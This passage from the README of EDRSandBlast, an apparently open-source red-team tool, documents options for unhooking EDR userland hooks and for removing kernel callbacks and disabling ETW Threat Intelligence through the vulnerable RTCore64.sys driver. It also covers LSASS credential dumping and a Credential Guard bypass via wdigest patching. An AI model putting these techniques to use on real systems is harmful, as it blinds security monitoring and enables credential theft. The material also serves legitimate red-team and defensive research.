Credential Guard is enabled on the host. No kernel-lank actions required.
|
||||
|
||||
--usermode Perform user-land operations (DLL unhooking).
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).
|
||||
|
||||
--unhook-method <N>
|
||||
Choose the userland un-hooking technique, from the following:
|
||||
|
||||
1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all
|
||||
present userland hooks.
|
||||
2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by
|
||||
allocating an executable trampoline jumping over the hook, and remove all present
|
||||
userland hooks.
|
||||
3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'
|
||||
(i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland
|
||||
hooks.
|
||||
4 Loads an additional version of ntdll library into memory, and use the (hopefully
|
||||
unmonitored) version of NtProtectVirtualMemory present in this library to remove all
|
||||
present userland hooks.
|
||||
5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,
|
||||
and uses it to remove all detected hooks
|
||||
|
||||
Other options:
|
||||
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host
|
||||
Default to automatically unsinstall the driver.
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.
|
||||
Default to restore the callbacks.
|
||||
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.
|
||||
Default to 'RTCore64.sys' in the current directory.
|
||||
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets
|
||||
(only for the 'credguard' mode).
|
||||
Default to 'WdigestOffsets.csv' in the current directory.
|
||||
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.
|
||||
Default to 'lsass' in the current directory.
|
||||
```
|
||||
|
||||
### Build
|
||||
|
||||
`EDRSandBlast` (x64 only) was built on Visual Studio 2019 (Windows SDK
|
||||
Version: `10.0.19041.0` and Plateform Toolset: `Visual Studio 2019 (v142)`).
|
||||
|
||||
### ExtractOffsets.py usage
|
||||
|
||||
Note that `ExtractOffsets.py` has only be tested on Windows.
|
||||
|
||||
```
|
||||
# Installation of Python dependencies
|
||||
pip.exe install -m .\requirements.txt
|
||||
|
||||
# Script usage
|
||||
ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode
|
||||
|
||||
positional arguments:
|
||||
mode ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-i INPUT, --input INPUT
|
||||
Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from.
|
||||
If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.
|
||||
-o OUTPUT, --output OUTPUT
|
||||
CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be
|
||||
downloaded / analyzed.
|
||||
Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.
|
||||
-d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.
|
||||
```
|
||||
|
||||
## Acknowledgements
|
||||
|
||||
- Kernel callbacks enumeration and removal:
|
||||
https://github.com/br-sn/CheekyBlinder
|
||||
|
||||
- Kernel memory Read / Write primitives through the vulnerable
|
||||
`Micro-Star MSI Afterburner` driver:
|
||||
https://github.com/Barakat/CVE-2019-16098/
|
||||
|
||||
- Disabling of the ETW Threat Intelligence provider:
|
||||
https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
- Driver install / uninstall: https://github.com/gentilkiwi/mimikatz
|
||||
|
||||
- Initial list of `EDR` drivers names:
|
||||
https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
|
||||
|
||||
- Credential Guard bypass by re-enabling `Wdigest` through `LSASS` memory
|
||||
patching: https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||
|
||||
|
||||
## Authors
|
||||
|
||||
[Thomas DIOT (Qazeer)](https://github.com/Qazeer/)
|
||||
[Maxime MEIGNAN (themaks)](https://github.com/themaks)
|
||||
|
||||
## Licence
|
||||
|
||||
CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/
|
||||
Reference in New Issue
Block a user